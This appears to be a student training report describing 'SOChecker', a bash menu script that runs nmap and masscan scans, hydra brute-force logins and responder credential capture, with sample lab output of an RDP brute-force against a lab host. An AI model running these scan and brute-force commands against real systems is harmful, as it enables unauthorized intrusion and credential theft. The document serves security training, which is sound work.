

**SOC Analyst  
SOChecker**

**CFC 240722**

**Leong Ming Zhou**

**15/11/2022**

```
function install() #install relevant applications on local computer/terminal
{
    sudo apt install nmap #install Nmap on the local computer

    sudo apt install masscan #install masscan on the local computer

    sudo apt install hydra #install hydra on the local computer

    sudo apt install responder #install responder on the local computer
}
```

Function install above installs nmap , masscan , hydra and responder on the local computer

```
function socsa()
{
    echo "what you want to do today?"
    echo "a) - Nmap" # output for user to choose a) to m)
    echo "b) - Masscan"
    echo "c) - Hydra"
    echo "d) - Responder"
    echo "e) - log for nmap"
    echo "f) - result for nmap"
    echo "g) - log for Masscan"
    echo "h) - result for Masscan"
    echo "i) - log for Hydra"
    echo "j) - result for Hydra"
    echo "k) - log for Responder"
    echo "l) - result for Responder"
    echo "m) - thats all for today"
    read scanattack; # variable to prompts user to choose above a) to m)

    case $scanattack in
```

Function above is the start of the function socsa but come in a case statement for user to choose what they want to do.

As you can see there A to M to choose from each of them come with a output of command which variable into "scanattack".

```
case $scanattack in
a)
    nmaplog=nmap_log.txt #create log file or overwrite if already present
    date1=$(date) #store date1 as date of current computer
    echo "Please enter ip for Nmap scan" #prompt user to key in IP
    read ipnmap #store variable for usage of ip when user key in the ip when prompted
    nmap "$ipnmap" -oG ~/"$ipnmap".NmapResult.scan #nmap command with user input of IP and stored output into a file
    printf "Sdate1: Nmap: $ipnmap\n" >> $nmaplog # printf to output/log stored to a file
    socsa #repeat the function for continuous/resume
    ;;

b)
    masscanlog=masscan_log.txt # create log file or overwrite if already present
    date2=$(date) #store date2 as date of current computer
    echo "Please enter ip for masscan" #prompt user to key in IP
    read massip #store variable for usage of ip when user key in the ip when prompted
    sudo masscan "$massip" -p 20-100 -oG massresult #masscan command , user need to key in sudo password
    printf "Sdate2: masscan: $massip\n" >> $masscanlog # printf to output/log stored to a file
    socsa #repeat the function for continuous/resume
    ;;

c)
    HLOG=hydra_log # create log file or overwrite if already present
    date3=$(date) #store date2 as date of current computer
    echo "Please enter username for hydra" #prompt user to key in username of the victim
    read userH #store variable of the username that the user key in
    echo "Please enter password for hydra" #prompt user to key in password of the victim
    read passH #store variable of the password that the user key in
    echo "Please enter service for hydra" #prompt user to key in the service which the user would like to attack
    read serviceH # store variable of the service the user key in
    echo "Please enter ip address for Hydra" #prompt user to key in ip for the attack
    read ipH #store variable of the IP the user key in
    hydra -L "$userH" -P "$passH" "$serviceH"//"$ipH" -o hydraresult #hydra command after user has keyed in the information needed with all the variable
    printf "Sdate3: Hydra : $ipH\n" >> $HLOG # printf to output/log stored to a file
    socsa #repeat the function for continuous/resume
    ;;
```

Above is the output of each choices the user can choose

```

d)
RL0G=res_log # create log file or overwrite if already present
date4=$(date) #store date4 as date of current computer
sudo responder -I eth0 >> res_result # responder command , responder will start to listen at the victim machine so it will appear nothing. until theres a activities
printf "%date4: responder : -I eth0\n" >> $RL0G # printf to output/log stored to a file
socsa #repeat the function for continuous/resume
;;

e)
cat nmap_log.txt #open log for nmap
socsa #repeat the function for continuous/resume
;;

f)
echo " please enter the file you want to cat" #user need to "ls" to look for the file that is being created, after that key in the file name
read nmapR # store variable of the user that key in the file name
cat "$nmapR" #cat command to cat file
socsa #repeat the function for continuous/resume
;;

g)
cat masscan_log.txt #cat command to cat file
socsa #repeat the function for continuous/resume
;;

h)
echo " please enter the file you want to cat" #user need to "ls" to look for the file that is being created, after that key in the file name
read massR #store variable of the user that key in the file name
cat "$massR" #cat command to cat file
socsa #repeat the function for continuous/resume
;;

i)
cat hydra_log #cat command to cat file
socsa #repeat the function for continuous/resume
;;

```

Above is the output of each choices the user can choose  
 User also can store attack and scan in to logs/file  
 etc. "e)" from above snapshot

```

j)
cat hydraresult #cat command to cat file
socsa #repeat the function for continuous/resume
;;

k)
cat res_log #cat command to cat file
socsa #repeat the function for continuous/resume
;;

l)
cat res_result #cat command to cat file
socsa #repeat the function for continuous/resume
;;

m)
echo "see you soon"
exit #exit the whole script
;;

esac #end of the case command
}

install
socsa

```

Continue on with the script user can also cat/open the file if they wish to  
 etc. "j)"

```

(kali@kali)-[~/SOC]
$ bash SOChecker.sh
what you want to do today? ← Choice for user to pick.
a) - Nmap
b) - Masscan
c) - Hydra
d) - Responder
e) - log for nmap
f) - result for nmap
g) - log for Masscan
h) - result for Masscan
i) - log for Hydra
j) - result for Hydra
k) - log for Responder
l) - result for Responder
m) - thats all for today
a
Please enter ip for Nmap scan ← if user choose a) they need to type in the ip
192.168.111.131 ← key in ip and enter and the nmap will proceed
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-15 03:58 EST
Nmap scan report for 192.168.111.131
Host is up (0.00015s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server

```

above snapshot show what happen when you select option for nmap etc. Need to key in IP if prompted

```

what you want to do today?
a) - Nmap
b) - Masscan
c) - Hydra
d) - Responder
e) - log for nmap
f) - result for nmap
g) - log for Masscan
h) - result for Masscan
i) - log for Hydra
j) - result for Hydra
k) - log for Responder
l) - result for Responder
m) - thats all for today
b
please enter ip for masscan ← after choosing masscan option b) will be prompted to
192.168.111.131 ← key in ip
[sudo] password for kali: ← sudo password needed
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-11-15 08:59:42 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [81 ports/host]
what you want to do today?
a) - Nmap
b) - Masscan

```

Above snapshot is a example of masscan was selected need to key in ip and sudo password

```

what you want to do today?
a) - Nmap
b) - Masscan
c) - Hydra
d) - Responder
e) - log for nmap
f) - result for nmap
g) - log for Masscan
h) - result for Masscan
i) - log for Hydra
j) - result for Hydra
k) - log for Responder
l) - result for Responder
m) - thats all for today
c
please enter username for hydra ← the user chose hydra so the command prompted for
administrator ← username keyed in username of the victim
please enter password for hydra ← next is password prompt
Passw0rd! ← password keyed in
please enter service for hydra ← after password now is services
rdp ← services keyed in
please enter Ip address for Hydra ← after services now is Ip addresses of the victim
192.168.111.131 ← Ip addresses keyed in
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-15 04:01:
23
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to red
uce the number of parallel connections and -W 1 or -W 3 to wait between connecti
on to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections
)
[WARNING] the rdp module is experimental. Please test, report - and if possible,
fix.
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try pe
r task
[DATA] attacking rdp://192.168.111.131:3389/

```

above snapshot show a example Hydra option was selected  
need to key in the information if prompted.

```

what you want to do today?
a) - Nmap
b) - Masscan
c) - Hydra
d) - Responder
e) - log for nmap
f) - result for nmap
g) - log for Masscan
h) - result for Masscan
i) - log for Hydra
j) - result for Hydra
k) - log for Responder
l) - result for Responder
m) - thats all for today
d
[+] Exiting... ← exiting -> this show the responder is working
what you want to do today?
a) - Nmap
b) - Masscan
c) - Hydra

```

Above snapshot show responder option was selected  
I exit responder to show it was working because it is listening in the background.



```
(kali㉿kali)-[~/SOC]
$ ls
'~192.168.111.131_NmapResult.scan'  log_file.txt      res_result      test33.sh
datetest2.txt                     masscan_log.txt   SOChecker.sh    testing
datetest.sh                       massresult        SOCTEST
hydra_log                         nmap_log.txt     test22
hydrareresult                     res_log          test22.sh
```

all the log and result is store and logged.

For this script I trying to let the user have all option for scan and attack  
after the action/command then log and output to a file